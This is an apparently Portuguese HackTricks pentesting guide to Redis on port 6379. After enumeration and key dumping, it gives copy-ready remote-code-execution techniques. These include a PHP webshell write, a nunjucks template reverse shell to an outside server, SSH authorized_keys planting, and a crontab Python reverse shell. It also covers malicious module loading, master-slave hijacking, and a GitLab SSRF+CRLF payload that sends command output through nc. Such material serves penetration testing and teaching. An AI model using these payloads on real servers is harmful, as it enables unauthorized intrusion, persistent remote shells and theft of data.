hacktricks/network-services-pentesting/6379-pentesting-redis.md

340 lines
20 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6379 - Pentesting Redis
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
**Percepções de Hacking**\
Engaje-se com conteúdo que mergulha na emoção e desafios do hacking
**Notícias de Hacking em Tempo Real**\
Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e percepções em tempo real
**Últimos Anúncios**\
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
## Informações Básicas
De [a documentação](https://redis.io/topics/introduction): Redis é um armazenamento de **estrutura de dados em memória**, de código aberto (licença BSD), usado como um **banco de dados**, cache e corretor de mensagens.
Por padrão, o Redis usa um protocolo baseado em texto simples, mas você deve ter em mente que também pode implementar **ssl/tls**. Aprenda como [executar o Redis com ssl/tls aqui](https://fossies.org/linux/redis/TLS.md).
**Porta padrão:** 6379
```
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
```
## Enumeração Automática
Algumas ferramentas automatizadas que podem ajudar a obter informações de uma instância do redis:
```bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
```
## Enumeração Manual
### Banner
O Redis é um **protocolo baseado em texto**, você pode simplesmente **enviar o comando em um socket** e os valores retornados serão legíveis. Lembre-se também de que o Redis pode ser executado usando **ssl/tls** (mas isso é muito estranho).
Em uma instância regular do Redis, você pode simplesmente se conectar usando `nc` ou também pode usar `redis-cli`:
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
O **primeiro comando** que você poderia tentar é **`info`**. Ele **pode retornar a saída com informações** da instância do Redis **ou algo** como o seguinte é retornado:
```
-NOAUTH Authentication required.
```
Neste último caso, isso significa que **você precisa de credenciais válidas** para acessar a instância do Redis.
### Autenticação do Redis
**Por padrão**, o Redis pode ser acessado **sem credenciais**. No entanto, ele pode ser **configurado** para suportar **apenas senha ou nome de usuário + senha**.\
É possível **definir uma senha** no arquivo _**redis.conf**_ com o parâmetro `requirepass` **ou temporariamente** até que o serviço reinicie conectando-se a ele e executando: `config set requirepass p@ss$12E45`.\
Além disso, um **nome de usuário** pode ser configurado no parâmetro `masteruser` dentro do arquivo _**redis.conf**_.
{% hint style="info" %}
Se apenas a senha estiver configurada, o nome de usuário usado é "**default**".\
Além disso, observe que **não há como descobrir externamente** se o Redis foi configurado apenas com senha ou nome de usuário + senha.
{% endhint %}
Em casos como este, você precisará **encontrar credenciais válidas** para interagir com o Redis, então você poderia tentar [**força bruta**](../generic-methodologies-and-resources/brute-force.md#redis) nisso.\
**Caso encontre credenciais válidas, você precisará autenticar a sessão** após estabelecer a conexão com o comando:
```bash
AUTH <username> <password>
```
**Credenciais válidas** serão respondidas com: `+OK`
### **Enumeração autenticada**
Se o servidor Redis permitir **conexões anônimas** ou se você obteve credenciais válidas, você pode iniciar o processo de enumeração do serviço usando os seguintes **comandos**:
```bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
```
**Outros comandos do Redis** [**podem ser encontrados aqui**](https://redis.io/topics/data-types-intro) **e** [**aqui**](https://lzone.de/cheat-sheet/Redis)**.**
Note que os **comandos do Redis de uma instância podem ser renomeados** ou removidos no arquivo _redis.conf_. Por exemplo, esta linha removerá o comando FLUSHDB:
```
rename-command FLUSHDB ""
```
Mais sobre a configuração segura de um serviço Redis aqui: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
Você também pode **monitorar em tempo real os comandos Redis** executados com o comando **`monitor`** ou obter os **25 queries mais lentos** com **`slowlog get 25`**
Encontre mais informações interessantes sobre outros comandos Redis aqui: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **Despejando Banco de Dados**
Dentro do Redis, os **bancos de dados são números que começam a partir de 0**. Você pode verificar se algum está sendo usado na saída do comando `info` dentro do bloco "Keyspace":
![](<../.gitbook/assets/image (766).png>)
Ou você pode simplesmente obter todos os **keyspaces** (bancos de dados) com:
```
INFO keyspace
```
Nesse exemplo, o **banco de dados 0 e 1** estão sendo usados. **O banco de dados 0 contém 4 chaves e o banco de dados 1 contém 1**. Por padrão, o Redis usará o banco de dados 0. Para fazer o dump, por exemplo, do banco de dados 1, você precisa fazer:
```bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
```
No caso de receber o seguinte erro `-WRONGTYPE Operação contra uma chave que contém um tipo de valor incorreto` ao executar `GET <KEY>`, é porque a chave pode ser algo diferente de uma string ou um inteiro e requer um operador especial para exibi-la.
Para saber o tipo da chave, use o comando `TYPE`, exemplo abaixo para chaves do tipo lista e hash.
```bash
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
```
**Despeje o banco de dados com npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **ou python** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
**Percepções de Hacking**\
Envolver-se com conteúdo que mergulha na emoção e desafios do hacking
**Notícias de Hacking em Tempo Real**\
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real
**Últimos Anúncios**\
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
## Redis RCE
### Shell Interativo
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) pode automaticamente obter um shell interativo ou um shell reverso no Redis (<=5.0.5).
```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```
### PHP Webshell
Informações de [**aqui**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Você deve saber o **caminho** da **pasta do site**:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
```
Se a exceção de acesso ao webshell, você pode esvaziar o banco de dados após o backup e tentar novamente, lembre-se de restaurar o banco de dados.
### Modelo Webshell
Assim como na seção anterior, você também pode sobrescrever algum arquivo de modelo html que será interpretado por um mecanismo de modelo e obter um shell.
Por exemplo, seguindo [**este artigo**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), você pode ver que o atacante injetou um **shell reverso em um html** interpretado pelo **mecanismo de modelo nunjucks:**
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
```
{% hint style="warning" %}
Note que **vários motores de template armazenam em cache** os templates na **memória**, então mesmo que você os sobrescreva, o novo **não será executado**. Nesses casos, ou o desenvolvedor deixou a recarga automática ativa ou você precisa fazer um DoS sobre o serviço (e esperar que ele seja reiniciado automaticamente).
{% endhint %}
### SSH
Exemplo [daqui](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
Por favor, esteja ciente de que o resultado de **`config get dir`** pode ser alterado após outros comandos de exploração manual. Sugiro executá-lo primeiro logo após fazer login no Redis. No resultado de **`config get dir`** você pode encontrar o **diretório home** do **usuário redis** (geralmente _/var/lib/redis_ ou _/home/redis/.ssh_), e sabendo disso você sabe onde pode escrever o arquivo `authenticated_users` para acessar via ssh **com o usuário redis**. Se você souber o diretório home de outro usuário válido onde você tem permissões de escrita, você também pode abusar disso:
1. Gere um par de chaves pública-privada ssh no seu computador: **`ssh-keygen -t rsa`**
2. Escreva a chave pública em um arquivo: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. Importe o arquivo para o redis: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Salve a chave pública no arquivo **authorized\_keys** no servidor redis:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
```
5. Por fim, você pode fazer **ssh** para o **servidor redis** com a chave privada: **ssh -i id\_rsa redis@10.85.0.52**
**Essa técnica está automatizada aqui:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
O último exemplo é para o Ubuntu, para o **Centos**, o comando acima deve ser: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
Este método também pode ser usado para ganhar bitcoin: [yam](https://www.v2ex.com/t/286981#reply14)
### Carregar Módulo Redis
1. Seguindo as instruções de [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) você pode **compilar um módulo redis para executar comandos arbitrários**.
2. Em seguida, você precisa de alguma forma de **fazer upload do módulo compilado**
3. **Carregue o módulo** carregado em tempo de execução com `MODULE LOAD /caminho/para/mymodule.so`
4. **Liste os módulos carregados** para verificar se foi carregado corretamente: `MODULE LIST`
5. **Execute comandos**:
```
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. Descarregue o módulo quando desejar: `MODULE UNLOAD mymodule`
### Bypass de Sandbox LUA
[**Aqui**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) você pode ver que o Redis usa o comando **EVAL** para executar **código Lua em sandbox**. No post vinculado, você pode ver **como abusar disso** usando a função **dofile**, mas [aparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) isso não é mais possível. De qualquer forma, se você puder **burlar o sandbox** Lua, poderá **executar comandos arbitrários** no sistema. Além disso, no mesmo post, você pode ver algumas **opções para causar DoS**.
Alguns **CVEs para escapar do LUA**:
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
### Módulo Mestre-Escravo
Todas as operações no redis mestre são automaticamente sincronizadas com o redis escravo, o que significa que podemos considerar a vulnerabilidade do redis como um redis escravo, conectado ao redis mestre que controlamos, então podemos inserir o comando no nosso próprio redis.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## SSRF falando com o Redis
Se você pode enviar uma solicitação em **texto claro para o Redis**, você pode **comunicar com ele**, pois o Redis lerá linha por linha a solicitação e simplesmente responderá com erros às linhas que não entender:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
Portanto, se você encontrar uma **vulnerabilidade SSRF** em um site e puder **controlar** alguns **cabeçalhos** (talvez com uma vulnerabilidade CRLF) ou **parâmetros POST**, você poderá enviar comandos arbitrários para o Redis.
### Exemplo: Gitlab SSRF + CRLF para Shell
No **Gitlab11.4.7** foram descobertas uma **vulnerabilidade SSRF** e uma **CRLF**. A **vulnerabilidade SSRF** estava na **funcionalidade de importação de projeto a partir de URL** ao criar um novo projeto e permitia acessar IPs arbitrários no formato \[0:0:0:0:0:ffff:127.0.0.1] (isso acessará 127.0.0.1), e a **vulnerabilidade CRLF** foi explorada apenas **adicionando os caracteres %0D%0A** à **URL**.
Portanto, foi possível **abusar dessas vulnerabilidades para se comunicar com a instância do Redis** que **gerencia filas** do **gitlab** e abusar dessas filas para **obter execução de código**. O payload de abuso da fila do Redis é:
```
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
E a solicitação de **codificação de URL** abusando do **SSRF** e **CRLF** para executar um `whoami` e enviar a saída via `nc` é:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_Por alguma razão (como para o autor de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _de onde essa informação foi retirada), a exploração funcionou com o esquema `git` e não com o esquema `http`._
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server para se comunicar com hackers experientes e caçadores de recompensas por bugs!
**Percepções de Hacking**\
Engaje-se com conteúdo que mergulha na emoção e desafios do hacking
**Notícias de Hacking em Tempo Real**\
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
**Últimos Anúncios**\
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
<details>
<summary><strong>Aprenda hacking AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>